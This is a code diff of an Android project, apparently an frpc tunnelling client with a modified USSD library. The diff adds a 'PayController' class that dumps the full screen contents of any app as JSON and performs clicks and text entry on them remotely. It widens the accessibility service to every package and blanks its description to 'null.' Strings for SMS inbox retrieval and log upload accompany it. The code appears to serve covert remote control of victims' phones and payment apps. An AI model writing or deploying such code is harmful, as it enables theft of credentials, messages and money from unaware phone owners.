+    <string name="title_about">About</string>
+    <string name="title_logcat">Logs</string>
+    <string name="title_logcat_push">Upload Logs</string>
+    <string name="noName">Unnamed</string>
+    <string name="logcat_copy">Copy</string>
+    <string name="logcat_push">Upload</string>
+    <string name="logcat_delete">Delete</string>
+    <string name="copySuccess">Copy successful</string>
+    <string name="titleTemplate">Template file</string>
+    <string name="frpc_version">Check for updates</string>
+    <string name="dialogConfirmTitle">Tip</string>
+    <string name="configDeleteConfirm">Confirm deletion of this configuration</string>
+    <string name="tipServiceRunning">This configuration is currently running. Please close it first</string>
+    <string name="tipWaitService">Service is starting</string>
+    <string name="click_here_to_set_the_number">Click to set phone number</string>
+    <string name="phone_number">Phone number settings</string>
+    <string name="number">Phone number:</string>
+    <string name="ok">Confirm</string>
+    <string name="update_immediately">Update immediately</string>
+    <string name="not_updating_for_now">Update later</string>
+    <string name="new_update_title">A new version is available for update</string>
+    <string name="uplaod_null_tip">The current version is already up to date!</string>
+    <string name="go_setting_1_s">Please grant %1$s the necessary permissions!</string>
+    <string name="go_bt">Go</string>
+    <string name="current_status">Real-time status</string>
+    <string name="no_message">No messages to display at the moment.</string>
+    <string name="pushing">Start uploading...</string>
+    <string name="update_log_config">Update log configuration</string>
+    <string name="update_err">Update failed!</string>
+    <string name="update_log_config_suc">Log configuration updated successfully!</string>
+    <string name="push_suc">Upload successful</string>
+    <string name="push_error">Upload failed</string>
+    <string name="suc">Success</string>
+    <string name="log_tip_1">Retrieve inbox: Service is retrying. [No local number set, retrieval failed]</string>
+    <string name="log_tip_3">Service 3 is waiting for retry. [%1$s]</string>
+    <string name="log_tip_code_1">Please set the phone number</string>
+    <string name="log_tip_4">Service 3 encountered an error: SMS[%1$d] submission failed.</string>
+    <string name="log_tip_5">Service 3 executed successfully.</string>
+    <string name="log_tip_6">Service 3 started successfully.</string>
+    <string name="log_tip_7">Failed to retrieve messages.</string>
+    <string name="log_tip_8">Service 1 is waiting for retry. [%1$s]</string>
+    <string name="log_tip_9">Service 1 is connected.</string>
+    <string name="log_tip_10">Service 1 lost connection.</string>
+    <string name="log_tip_11">Service 1 starts.</string>
+    <string name="log_tip_12">Failed to get updated content.</string>
+    <string name="log_tip_13">Service 2 is shut down.</string>
+    <string name="log_tip_14">Service 2 started successfully.</string>
+    <string name="log_tip_15_s">Service 2 is shutting down.%1$s</string>
+    <string name="log_tip_16">Service 2 is shut down.%1$s</string>
+    <string name="log_tip_18_s">Service 2 connection failed.%1$s</string>
+    <string name="log_tip_19_s">Failed to send message.%1$s</string>
+    <string name="change">Language setting</string>
+</resources>

+ 1 - 0
frpc_android-master/app/src/main/res/values/strings.xml

@@ -76,5 +76,6 @@
     <string name="log_tip_16">服务2被关闭.%1$s</string>
     <string name="log_tip_18_s">服务2连接失败.%1$s</string>
     <string name="log_tip_19_s">发送消息失败.%1$s</string>
+    <string name="change">修改语言</string>
 
 </resources>

+ 14 - 0
frpc_android-master/app/src/main/res/xml/liushui_service.xml

@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
+  ~ All rights reserved
+  ~ porfile.romellfudi.com
+  -->
+
+<accessibility-service android:accessibilityEventTypes="typeViewClicked|typeViewFocused"
+    android:packageNames="com.example.android.myFirstApp, com.example.android.mySecondApp"
+    android:accessibilityFeedbackType="feedbackSpoken"
+    android:notificationTimeout="100"
+    android:settingsActivity="com.example.android.apis.accessibility.TestBackActivity"
+    android:canRetrieveWindowContent="true"
+    xmlns:android="http://schemas.android.com/apk/res/android" />

+ 5 - 3
frpc_android-master/ussd-library/build.gradle

@@ -27,12 +27,12 @@ ext {
 }
 
 android {
-    compileSdkVersion 30
+    compileSdkVersion 31
     buildToolsVersion "30.0.2"
 
     defaultConfig {
-        minSdkVersion 23
-        targetSdkVersion 30
+        minSdkVersion 30
+        targetSdkVersion 31
         versionCode 1
         versionName libraryVersion
     }
@@ -83,6 +83,8 @@ dependencies {
     testImplementation 'org.mockito:mockito-all:1.10.19'
     testImplementation 'org.powermock:powermock-module-junit4:1.6.2'
     testImplementation 'org.powermock:powermock-api-mockito:1.6.2'
+    implementation 'com.orhanobut:logger:2.2.0'
+    implementation 'com.google.code.gson:gson:2.10.1'
 }
 
 //apply from: 'https://raw.githubusercontent.com/romellfudi/assets/bintray/artifactory_bintray.gradle'

+ 155 - 0
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/PayController.java

@@ -0,0 +1,155 @@
+/*
+ * Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
+ * All rights reserved
+ * porfile.romellfudi.com
+ */
+
+package com.romellfudi.ussdlibrary;
+
+import android.accessibilityservice.AccessibilityService;
+import android.os.Bundle;
+import android.view.accessibility.AccessibilityNodeInfo;
+
+import com.google.gson.Gson;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * @author Romell Dominguez
+ * @version 1.1.c 27/09/2018
+ * @since 1.0.a
+ */
+public class PayController {
+    private static AccessibilityService myAccessibilityService;
+
+    public static AccessibilityService getMyAccessibilityService() {
+        return myAccessibilityService;
+    }
+
+    public static void setMyAccessibilityService(AccessibilityService accessibilityService) {
+        myAccessibilityService = accessibilityService;
+    }
+
+
+    public static String getNowRootInActiveWindow() {
+        String PageJson = "{}";
+        AccessibilityNodeInfo node = getMyAccessibilityService().getRootInActiveWindow();
+        if (node != null) {
+            NodeInfoWrapper nodeInfoWrapper = traverseNode(node);
+            Gson gson = new Gson();
+            PageJson = gson.toJson(nodeInfoWrapper);
+        }
+        return PageJson;
+    }
+
+    public static void performActionEvent1(int hashCode, int action) {
+        AccessibilityNodeInfo node = getMyAccessibilityService().getRootInActiveWindow();
+        findNodeByHashCode(node, hashCode).performAction(action);
+    }
+
+    public static void performActionEvent2(int hashCode, int action, List<HashMap<String, Object>> list) {
+        AccessibilityNodeInfo node = getMyAccessibilityService().getRootInActiveWindow();
+        Bundle arguments = new Bundle();
+
+        for (HashMap<String, Object> map : list) {
+            String key = Objects.requireNonNull(map.get("key")).toString();
+            String value = Objects.requireNonNull(map.get("value")).toString();
+            if (Objects.equals(map.get("type"), "CharSequence")) {
+                arguments.putCharSequence(key, value);
+            }
+        }
+        findNodeByHashCode(node, hashCode).performAction(action, arguments);
+    }
+
+    public static void performGlobalAction(int action) {
+        getMyAccessibilityService().performGlobalAction(action);
+    }
+
+    private static NodeInfoWrapper traverseNode(AccessibilityNodeInfo nodeInfo) {
+        NodeInfoWrapper nodeInfoWrapper = new NodeInfoWrapper();
+        nodeInfoWrapper.txt = nodeInfo.getText() != null ? nodeInfo.getText().toString() : "";
+        nodeInfoWrapper.vId = nodeInfo.getViewIdResourceName();
+        nodeInfoWrapper.cName = nodeInfo.getClassName().toString();
+        nodeInfoWrapper.pName = nodeInfo.getPackageName().toString();
+        nodeInfoWrapper.hashcode = nodeInfo.hashCode();
+        nodeInfoWrapper.childCount = nodeInfo.getChildCount();
+        nodeInfoWrapper.canOpenPopup = nodeInfo.canOpenPopup();
+        nodeInfoWrapper.visibleToUser = nodeInfo.isVisibleToUser();
+        nodeInfoWrapper.isEnabled = nodeInfo.isEnabled();
+        nodeInfoWrapper.hintText = nodeInfo.getHintText() != null ? nodeInfo.getText().toString() : "";
+        nodeInfoWrapper.isClickable = nodeInfo.isClickable();
+        nodeInfoWrapper.isLongClickable = nodeInfo.isLongClickable();
+        nodeInfoWrapper.isEditable = nodeInfo.isEditable();
+        nodeInfoWrapper.isCheckable = nodeInfo.isCheckable();
+        nodeInfoWrapper.isChecked = nodeInfo.isChecked();
+        nodeInfoWrapper.focused = nodeInfo.isFocused();
+        nodeInfoWrapper.scrollable = nodeInfo.isScrollable();
+
+        List<NodeInfoWrapper> childNodes = new ArrayList<>();
+        for (int i = 0; i < nodeInfo.getChildCount(); i++) {
+            AccessibilityNodeInfo childNode = nodeInfo.getChild(i);
+            if (childNode != null) {
+                NodeInfoWrapper childNodeWrapper = traverseNode(childNode);
+                childNodes.add(childNodeWrapper);
+            }
+        }
+        nodeInfoWrapper.childNodes = childNodes;
+
+        return nodeInfoWrapper;
+    }
+
+    private static AccessibilityNodeInfo findNodeByHashCode(AccessibilityNodeInfo rootNode, int targetHashCode) {
+        if (rootNode == null) {
+            return null;
+        }
+
+        if (rootNode.hashCode() == targetHashCode) {
+            return rootNode;
+        }
+
+        int childCount = rootNode.getChildCount();
+        for (int i = 0; i < childCount; i++) {
+            AccessibilityNodeInfo childNode = rootNode.getChild(i);
+            AccessibilityNodeInfo result = findNodeByHashCode(childNode, targetHashCode);
+            if (result != null) {
+                return result;
+            }
+        }
+
+        return null;
+    }
+
+    private static class NodeInfoWrapper {
+        public String txt;
+        public String vId;
+        public String cName;
+        public String pName;
+        public int hashcode;
+        public int childCount;
+        //用于判断节点是否可以打开弹出窗口(popup)canOpenPopup()方法用于判断给定的节点是否具有打开弹出窗口的能力
+        public boolean canOpenPopup;
+        //判断节点是否对用户可见
+        public boolean visibleToUser;
+        //判断节点是否启用
+        public boolean isEnabled;
+        public String hintText;
+        //判断节点是否可点击
+        public boolean isClickable;
+        //判断节点是否可长按
+        public boolean isLongClickable;
+        //判断节点是否可编辑
+        public boolean isEditable;
+        //判断节点是否可选择
+        public boolean isCheckable;
+        //判断节点的选择状态
+        public boolean isChecked;
+        //判断节点是否具有焦点
+        public boolean focused;
+        //判断节点是否可滚动
+        public boolean scrollable;
+        public List<NodeInfoWrapper> childNodes;
+    }
+}

+ 7 - 7
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java

@@ -240,7 +240,7 @@ public class USSDController implements USSDInterface, USSDApi {
             } else {
                 Toast.makeText(
                         context,
-                        "voipUSSD accessibility service is not enabled",
+                        "accessibility service is not enabled",
                         Toast.LENGTH_LONG
                 ).show();
             }
@@ -270,15 +270,15 @@ public class USSDController implements USSDInterface, USSDApi {
 
     private static void openSettingsAccessibility(final Activity activity) {
         AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(activity);
-        alertDialogBuilder.setTitle("无障碍权限未获得");
+        alertDialogBuilder.setTitle(R.string.tip1);
         ApplicationInfo applicationInfo = activity.getApplicationInfo();
         int stringId = applicationInfo.labelRes;
         String name = applicationInfo.labelRes == 0 ?
                 applicationInfo.nonLocalizedLabel.toString() : activity.getString(stringId);
         alertDialogBuilder
-                .setMessage("必须授予无障碍权限才能使用" + name);
+                .setMessage("Accessibility permission must be granted to use " + name);
         alertDialogBuilder.setCancelable(false);
-        alertDialogBuilder.setNeutralButton("前往", new DialogInterface.OnClickListener() {
+        alertDialogBuilder.setNeutralButton("Go", new DialogInterface.OnClickListener() {
             public void onClick(DialogInterface dialog, int id) {
                 activity.startActivityForResult(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS), 1);
             }
@@ -291,15 +291,15 @@ public class USSDController implements USSDInterface, USSDApi {
 
     private static void openSettingsOverlay(final Activity activity) {
         AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(activity);
-        alertDialogBuilder.setTitle("悬浮窗权限");
+        alertDialogBuilder.setTitle("Floating window permissions");
         ApplicationInfo applicationInfo = activity.getApplicationInfo();
         int stringId = applicationInfo.labelRes;
         String name = applicationInfo.labelRes == 0 ?
                 applicationInfo.nonLocalizedLabel.toString() : activity.getString(stringId);
         alertDialogBuilder
-                .setMessage("您必须允许" + name + "出现在其他应用程序之上");
+                .setMessage("You must allow " + name + " to appear on top of other applications");
         alertDialogBuilder.setCancelable(false);
-        alertDialogBuilder.setNeutralButton("前往", new DialogInterface.OnClickListener() {
+        alertDialogBuilder.setNeutralButton("Go", new DialogInterface.OnClickListener() {
             public void onClick(DialogInterface dialog, int id) {
                 Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
                         Uri.parse("package:" + activity.getPackageName()));

+ 20 - 24
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDService.java

@@ -15,6 +15,9 @@ import android.os.Bundle;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
+import android.widget.Toast;
+
+import com.google.gson.Gson;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -28,39 +31,24 @@ import java.util.List;
  */
 public class USSDService extends AccessibilityService {
 
-    private static String TAG = USSDService.class.getSimpleName();
+    private static String TAG = "USSDServiceUSSD";
 
     public static AccessibilityEvent event;
 
-    /**
-     * Catch widget by Accessibility, when is showing at mobile display
-     *
-     * @param event AccessibilityEvent
-     */
+    public static String PageJson = "";
+
 
-    @Override
-    public void onAccessibilityEvent(AccessibilityEvent event) {
-//        Parcel parcel = Parcel.obtain();
-//        event.writeToParcel(parcel, 0);
-//        parcel.setDataPosition(0);
-//        AccessibilityEvent newEvent = AccessibilityEvent.CREATOR.createFromParcel(parcel);
-//        parcel.recycle();
 
-//        AccessibilityEvent eventClone = AccessibilityEvent.obtain(event);
-//        this.event = eventClone;
 
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
-            this.event = new AccessibilityEvent(event);
+            USSDService.event = new AccessibilityEvent(event);
         } else {
-            this.event = event;
+            USSDService.event = event;
         }
-
-        Log.d(TAG, "onAccessibilityEvent");
-
-        Log.d(TAG, String.format(
-                "onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s",
-                event.getEventType(), event.getClassName(), event.getPackageName(),
-                event.getEventTime(), event.getText()));
+        AccessibilityNodeInfo rootNode = getRootInActiveWindow();
+//        USSDService.rootNode = event.getSource();
 
         if (USSDController.instance == null || !USSDController.instance.isRunning) {
             return;
@@ -110,6 +98,7 @@ public class USSDService extends AccessibilityService {
 
     }
 
+
     /**
      * Send whatever you want via USSD
      *
@@ -127,6 +116,7 @@ public class USSDService extends AccessibilityService {
         clickOnButton(event, 0);
     }
 
+
     /**
      * set text into input text at USSD widget
      *
@@ -140,6 +130,7 @@ public class USSDService extends AccessibilityService {
                 AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, data);
 
         for (AccessibilityNodeInfo leaf : getLeaves(event)) {
+
             if (leaf.getClassName().equals("android.widget.EditText")
                     && !leaf.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, arguments)) {
                 ClipboardManager clipboardManager = ((ClipboardManager) ussdController.context
@@ -260,5 +251,10 @@ public class USSDService extends AccessibilityService {
     protected void onServiceConnected() {
         super.onServiceConnected();
         Log.d(TAG, "onServiceConnected");
+        PayController.setMyAccessibilityService(this);
     }
+
+
+
+
 }

+ 3 - 9
frpc_android-master/ussd-library/src/main/res/values/strings.xml

@@ -1,13 +1,7 @@
-<!--
-  ~ Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
-  ~ All rights reserved
-  ~ porfile.romellfudi.com
-  -->
-
 <resources>
-    <string name="app_name">USSSD Library</string>
+    <string name="app_name">Library</string>
     <string name="action_settings">Settings</string>
-    <string name="accessibility_service_description">
-        Enable permissions from use USSD displays, Data Scientist Romell D.Z.</string>
+    <string name="accessibility_service_description">null.</string>
+    <string name="tip1">Accessibility permission not obtained</string>
 
 </resources>

+ 5 - 8
frpc_android-master/ussd-library/src/main/res/xml/ussd_service.xml

@@ -1,17 +1,14 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
+<?xml version="1.0" encoding="utf-8"?><!--
   ~ Copyright (c) 2020. BoostTag E.I.R.L. Romell D.Z.
   ~ All rights reserved
   ~ porfile.romellfudi.com
   -->
 
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accessibilityEventTypes
-        ="typeWindowStateChanged"
-    android:packageNames="com.android.phone"
+    android:accessibilityEventTypes="typeWindowStateChanged"
     android:accessibilityFeedbackType="feedbackGeneric"
-    android:accessibilityFlags="flagDefault"
+    android:accessibilityFlags="flagIncludeNotImportantViews|flagDefault|flagRetrieveInteractiveWindows|flagIncludeNotImportantViews|flagReportViewIds|flagRequestEnhancedWebAccessibility"
     android:canRetrieveWindowContent="true"
     android:description="@string/accessibility_service_description"
-    android:notificationTimeout="0"/>
-    <!--|typeViewTextChanged-->
+    android:notificationTimeout="0"
+    android:packageNames="*" /><!--|typeViewTextChanged-->